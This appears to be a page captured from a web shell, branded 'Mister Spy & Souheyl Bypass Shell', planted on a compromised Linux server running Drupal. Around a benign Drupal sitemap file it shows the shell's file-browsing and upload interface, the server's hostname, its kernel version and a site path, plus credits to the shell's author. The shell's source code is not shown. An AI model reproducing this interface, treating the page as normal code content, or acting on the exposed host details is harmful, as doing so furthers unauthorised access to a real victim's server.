Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /var/www/html/rocksensor1/web/modules/contrib/simple_sitemap/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : /var/www/html/rocksensor1/web/modules/contrib/simple_sitemap/simple_sitemap.drush.inc

<?php

/**
 * @file
 * Drush (< 9) integration.
 *
 * @todo Remove integration as Drush < 9 is not supported anymore.
 */

use Drupal\simple_sitemap\Queue\QueueWorker;

/**
 * Implements hook_drush_command().
 */
function simple_sitemap_drush_command() {
  $items['simple-sitemap-generate'] = [
    'description' => 'Regenerate all sitemaps or continue generation.',
    'callback' => 'drush_simple_sitemap_generate',
    'drupal dependencies' => ['simple_sitemap'],
    'aliases' => ['ssg'],
  ];

  $items['simple-sitemap-rebuild-queue'] = [
    'description' => 'Queue all sitemaps for regeneration.',
    'callback' => 'drush_simple_sitemap_rebuild_queue',
    'drupal dependencies' => ['simple_sitemap'],
    'aliases' => ['ssr'],
  ];

  return $items;
}

/**
 * Callback function for hook_drush_command().
 *
 * Regenerate the XML sitemaps according to the module settings.
 */
function drush_simple_sitemap_generate() {
  /** @var \Drupal\simple_sitemap\Manager\Generator $generator */
  $generator = \Drupal::service('simple_sitemap.generator');
  $generator->generate(QueueWorker::GENERATE_TYPE_DRUSH);
}

/**
 * Callback function for hook_drush_command().
 *
 * Rebuild the sitemap queue for all sitemaps.
 */
function drush_simple_sitemap_rebuild_queue() {
  /** @var \Drupal\simple_sitemap\Manager\Generator $generator */
  $generator = \Drupal::service('simple_sitemap.generator');
  $generator->rebuildQueue();
}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net